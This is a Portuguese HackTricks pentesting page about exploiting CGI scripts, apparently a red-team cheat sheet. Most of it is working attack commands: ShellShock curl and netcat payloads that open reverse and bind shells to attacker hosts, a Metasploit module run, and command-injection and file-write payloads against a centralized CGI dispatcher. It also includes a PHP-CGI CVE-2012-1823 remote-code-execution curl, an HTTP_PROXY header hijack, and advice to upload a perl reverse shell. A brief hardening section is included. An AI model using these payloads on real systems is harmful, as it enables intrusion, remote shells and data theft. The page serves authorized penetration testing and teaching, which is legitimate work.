CGI Pentesting

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informação

Os CGI scripts são scripts perl, então, se você comprometeu um servidor que pode executar .cgi scripts você pode fazer upload de um perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), mudar a extensão de .pl para .cgi, dar permissões de execução (chmod +x) e acessar o reverse shell pelo web browser para executá-lo. Para testar CGI vulns é recomendado usar nikto -C all (e todos os plugins)

ShellShock

ShellShock é uma vulnerabilidade que afeta o amplamente usado shell de linha de comando Bash em sistemas operacionais baseados em Unix. Ela explora a habilidade do Bash de executar comandos passados por aplicações. A vulnerabilidade reside na manipulação de variáveis de ambiente, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando código malicioso às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema.

Ao explorar essa vulnerabilidade a página pode retornar um erro.

Você pode encontrar essa vulnerabilidade percebendo que está usando uma versão antiga do Apache e cgi_mod (com pasta cgi) ou usando nikto.

Test

A maioria dos testes consiste em echoar algo e esperar que aquela string seja retornada na resposta web. Se você acha que uma página pode ser vulnerável, procure todas as páginas cgi e teste-as.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Dispatchers CGI centralizados (single endpoint routing via selector parameters)

Muitas UIs web embarcadas multiplexam dezenas de ações privilegiadas atrás de um único endpoint CGI (por exemplo, /cgi-bin/cstecgi.cgi) e usam um parâmetro seletor como topicurl=<handler> para rotear a requisição para uma função interna.

Metodologia para explorar esses routers:

  • Enumerar nomes de handler: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher.
  • Testar acessibilidade sem autenticação: alguns handlers esquecem checagens de auth e podem ser chamados diretamente.
  • Focar em handlers que invocam system utilities ou manipulam arquivos; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem não detectar o hífen inicial -.

Formas genéricas de exploit:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Detecção e endurecimento:

  • Fique atento a requisições não autenticadas para endpoints CGI centralizados com topicurl definido para handlers sensíveis.
  • Marque parâmetros que começam com - (tentativas de injeção de opções argv).
  • Fornecedores: aplique autenticação em todos os handlers que mudam estado, valide usando allowlists/tipos/tamanhos estritos, e nunca passe strings controladas pelo usuário como flags de linha de comando.

PHP antigo + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Basicamente, se cgi estiver ativo e o php for "antigo" (<5.3.12 / < 5.4.2) você pode executar código. Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros (especialmente sem enviar o caractere "="). Em seguida, para testar a vulnerabilidade, você pode acessar, por exemplo, /index.php?-s (observe o -s) e o código-fonte da aplicação aparecerá na resposta.

Então, para obter RCE você pode enviar esta query especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input e o código PHP a ser executado deve estar no corpo da requisição. Exemplo:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Mais informações sobre the vuln e possíveis exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM para requisições ao servidor Web)

CGI cria uma variável de ambiente para cada header na requisição HTTP. Por exemplo: "host:web.com" é criada como "HTTP_HOST"="web.com"

Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um header contendo: "Proxy: <IP_attacker>:<PORT>" e, se o servidor realizar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks